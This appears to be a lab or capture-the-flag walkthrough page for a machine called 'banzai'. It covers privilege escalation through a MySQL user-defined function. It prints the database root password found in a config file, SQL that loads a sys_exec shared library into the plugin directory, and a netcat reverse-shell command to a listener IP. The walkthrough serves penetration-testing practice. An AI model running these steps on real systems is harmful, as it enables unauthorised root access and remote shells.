> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/banzai/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/banzai/priv-escalation.md).

# Priv Escalation

There seems to be a mysql service running on local host

```python
══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::8295                 :::*                    LISTEN      -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::5432                 :::*                    LISTEN      -                   
tcp6       0      0 :::25                   :::*                    LISTEN      -      
```

Other interesting files 

```python
www-data@banzai:/var/www$ cat config.php
cat config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>
www-data@banzai:/var/www$ 
```

Once we have credentials for an internal database we can start enumerating whether it is vulnerable to UDF Privilege Escalation method.&#x20;

The exploit basically creates a function that executes commands as root.&#x20;

{% embed url="<https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql>" %}

Depending on the system we download the 32 or 64 bit .so file.&#x20;

```python
# Find plugin directory
SHOW VARIABLES LIKE 'plugin_dir';
select @@plugin_dir;

# Local method
use mysql;
create table tranilment(line blob);
insert into tranilment values(load_file('/tmp/lib_mysqludf_sys_64.so'));
select * from tranilment into dumpfile '/<plugin_dir>/lib_mysqludf_sys_64.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
select sys_exec('nc <listener_ip> 1234 -e /bin/bash');
```

![](https://246976615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F96p809Ozq1VcQhkPihQM%2Fuploads%2Fs9vyqT6IX1AKJhdZoNxM%2F2022-07-29_11-27.png?alt=media\&token=2f2baf3a-fd42-4825-bb18-4100f3120265)

And we have root.&#x20;